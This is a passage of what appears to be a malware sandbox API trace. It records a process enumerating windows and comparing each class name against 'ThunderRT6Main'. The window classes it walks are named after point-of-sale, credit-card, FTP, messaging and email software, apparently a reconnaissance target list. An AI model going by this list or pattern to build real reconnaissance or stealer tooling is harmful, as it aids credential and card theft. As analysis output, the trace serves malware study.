lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0076.388] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0076.388] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0076.388] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.388] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0076.388] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0076.388] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0076.388] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0076.388] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0076.388] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.388] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0076.388] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0076.388] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0076.388] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0076.388] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0076.388] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.388] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.388] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0076.388] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0076.388] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0076.389] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0076.389] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0076.389] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.389] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0076.389] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0076.389] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0076.389] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0076.389] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0076.389] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.389] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0076.389] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0076.389] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0076.389] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0076.389] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0076.389] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.389] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0076.389] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0076.389] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0076.389] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0076.389] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0076.389] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0076.390] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0076.390] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0076.390] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0076.390] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0076.390] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0076.390] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0076.390] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0076.390] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0076.390] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0076.390] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0076.390] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0076.390] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0076.390] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0076.390] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0076.390] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0076.390] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0076.390] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0076.391] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0076.391] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0076.391] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0076.391] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0076.391] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0076.391] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0076.391] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0076.391] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0076.391] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0076.391] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0076.391] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0076.391] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0076.391] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0076.391] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0076.391] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.391] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.391] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0076.391] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0076.392] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0076.392] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0076.392] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0076.392] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0076.392] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.392] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0076.392] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0076.392] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0076.392] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0076.392] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0076.392] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0076.392] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.392] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.392] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0076.392] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0076.392] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0076.392] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0076.392] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0076.393] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0076.393] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0076.393] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0076.393] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0076.393] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0076.393] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0076.393] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0076.393] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0076.393] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0076.393] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0076.393] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0076.393] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0076.393] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0076.393] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0076.393] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0076.393] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0076.393] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.393] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.393] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0076.394] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0076.394] GetClassNameA (in: hWnd=0x10208, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="totalcmdwnd") returned 11 [0076.394] lstrcmpA (lpString1="totalcmdwnd", lpString2="ThunderRT6Main") returned 1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0076.394] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0076.394] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9c8 [0076.394] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0076.394] GetClassNameA (in: hWnd=0x10204, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="thunderbirdwindow") returned 17 [0076.394] lstrcmpA (lpString1="thunderbirdwindow", lpString2="ThunderRT6Main") returned -1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0076.394] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0076.394] GetClassNameA (in: hWnd=0x10206, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9b8 [0076.394] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0076.394] GetClassNameA (in: hWnd=0x10200, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="smartftpwindow") returned 14 [0076.394] lstrcmpA (lpString1="smartftpwindow", lpString2="ThunderRT6Main") returned -1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0076.394] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0076.394] GetClassNameA (in: hWnd=0x10202, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.394] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.394] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9a8 [0076.394] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0076.394] GetClassNameA (in: hWnd=0x101fc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="skype_wnd") returned 9 [0076.395] lstrcmpA (lpString1="skype_wnd", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0076.395] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0076.395] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x998 [0076.395] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0076.395] GetClassNameA (in: hWnd=0x101f8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="scriptftp_app") returned 13 [0076.395] lstrcmpA (lpString1="scriptftp_app", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0076.395] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0076.395] GetClassNameA (in: hWnd=0x101fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x988 [0076.395] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0076.395] GetClassNameA (in: hWnd=0x101f4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="pidgin_class") returned 12 [0076.395] lstrcmpA (lpString1="pidgin_class", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0076.395] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0076.395] GetClassNameA (in: hWnd=0x101f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.395] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x978 [0076.395] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0076.395] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="outlookwin") returned 10 [0076.395] lstrcmpA (lpString1="outlookwin", lpString2="ThunderRT6Main") returned -1 [0076.395] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0076.395] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0076.395] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x968 [0076.396] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0076.396] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="operamailcls") returned 12 [0076.396] lstrcmpA (lpString1="operamailcls", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0076.396] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0076.396] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x958 [0076.396] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0076.396] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="notepadwin") returned 10 [0076.396] lstrcmpA (lpString1="notepadwin", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0076.396] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0076.396] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x948 [0076.396] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0076.396] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ncftpwindow") returned 11 [0076.396] lstrcmpA (lpString1="ncftpwindow", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0076.396] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0076.396] GetClassNameA (in: hWnd=0x101e6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.396] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.396] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x938 [0076.397] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0076.397] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="leechftpclass") returned 13 [0076.397] lstrcmpA (lpString1="leechftpclass", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0076.397] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0076.397] GetClassNameA (in: hWnd=0x101e2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x928 [0076.397] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0076.397] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="icq_win") returned 7 [0076.397] lstrcmpA (lpString1="icq_win", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0076.397] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0076.397] GetClassNameA (in: hWnd=0x101de, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x918 [0076.397] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0076.397] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="gmailnotifierpro") returned 16 [0076.397] lstrcmpA (lpString1="gmailnotifierpro", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0076.397] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0076.397] GetClassNameA (in: hWnd=0x101da, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.397] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.397] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x908 [0076.398] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0076.398] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="foxmailincmail") returned 14 [0076.398] lstrcmpA (lpString1="foxmailincmail", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0076.398] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0076.398] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f8 [0076.398] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0076.398] GetClassNameA (in: hWnd=0x101d0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="flingapp") returned 8 [0076.398] lstrcmpA (lpString1="flingapp", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0076.398] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0076.398] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0076.398] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0076.398] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8 [0076.398] GetWindow (hWnd=0x101d2, 